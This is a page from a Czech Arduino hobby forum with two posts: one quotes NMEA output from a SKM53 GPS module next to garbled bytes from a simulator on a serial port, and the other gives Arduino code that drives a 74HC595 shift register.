    Na webu jsem to nikde nenašel. Pouze na domovské stránce info o této možnosti.
    Díky předem za čas.

    odpověď na: GPS SKM53 #11256
    petouf
    Účastník

    Tak jo, opět o krůček vepředu. Přečetl jsem, co vysílá modul SKM53.
    vysílá toto:
    $GPGGA,055929.553,5003.5766,N,01430.6436,E,1,6,1.34,309.1,M,45.4,M,,*56
    $GPGSA,A,3,02,05,07,09,16,30,,,,,,,1.61,1.34,0.89*0E
    $GPGSV,3,1,10,07,71,079,28,30,60,203,34,05,46,299,37,09,45,089,26*70
    $GPGSV,3,2,10,37,32,170,,02,25,250,30,13,11,272,,16,10,027,24*7B
    $GPGSV,3,3,10,06,08,208,,28,08,163,*7A
    $GPRMC,055929.553,A,5003.5766,N,01430.6436,E,0.36,99.88,260417,,,A*59

    Pak jsem přečetl, co mi vysílá simulátor na COM1 a vypadlo z něho toto:
    [}ĹeMťť§ť§ź—§źť§źź§źźź§źź§ź›§źź§źźź§źź§ź™§źź§źźź§źź§ź—§źź§źźź§źź«‘Ťĺë
    Tak už rozumim tomu, proč mi tento signál Arduino nebere. Zatím nepomohlo ani experimentování s rychlostmi, čert ví, kde je problém. V zapojení COM? To snad ne, tam jsou jen 3 dráty. No budu bádat dál, třebas na něco přijdu 🙂

    odpověď na: Posuvný registr 74HC595 pomoc #11237
    RomanB
    Účastník
    
    int latchPin = 4;
    int clockPin = 5;
    int dataPin = 6;
    int vstup = 7;   //pridal jsem si vstup jako podminku
    
    int index=0;
    
    byte data[] =
    {
      B10000000,
      B11000000,
      B11100000,
      B11110000,
      B11111000,
      B11111100,
      B11111110,
      B11111111,
    };
    
    byte data2[1] =
    
    {
      B11111111,
    };
    
    unsigned long staryMillis = 0;        
    
    const long interval = 800;
    
    unsigned long novyMillis = millis();
    
    void setup() {
      
      Serial.begin(9600);
      pinMode(latchPin, OUTPUT);
      pinMode(clockPin, OUTPUT);
      pinMode(dataPin, OUTPUT);
      pinMode(vstup, INPUT_PULLUP);
      
    }
    
    void loop() {
      
      
    boolean podminka = digitalRead(vstup);  
    
    //**********************************************************************  
    
     unsigned long novyMillis = millis();
     
      if (novyMillis - staryMillis >= interval && podminka==0) {
       
          staryMillis = novyMillis; 
    
           
          digitalWrite(latchPin, LOW);
    
          shiftOut(dataPin, clockPin, MSBFIRST, data[index]);
          
          if (index > 6)  { shiftOut(dataPin, clockPin, MSBFIRST, data[7]); index = 7;  }
        
          digitalWrite(latchPin, HIGH);
          
     Serial.println(index);   
     //Serial.println(staryMillis);
     //Serial.println(novyMillis);
     
          index=index+1;
     
    }
    //**********************************************************************
     if (novyMillis - staryMillis >= interval && podminka==1) {
       
          staryMillis = novyMillis; 
          
          index = 0;
          
          digitalWrite(latchPin, LOW);
          
          shiftOut(dataPin, clockPin, MSBFIRST, data2[index]);
          
           
     Serial.println(index);   
     //Serial.println(staryMillis);
     //Serial.println(novyMillis);
    
    }
    //********************************************************************** 
     
    }//konec smycky

    Vyzkoušej toto. Jako podmínku jsem použil tlačítko: 0 je stlačeno.

Aktuálně je na stránce zobrazeno 30 příspěvků - 301. až 330. (celkem z 2,760)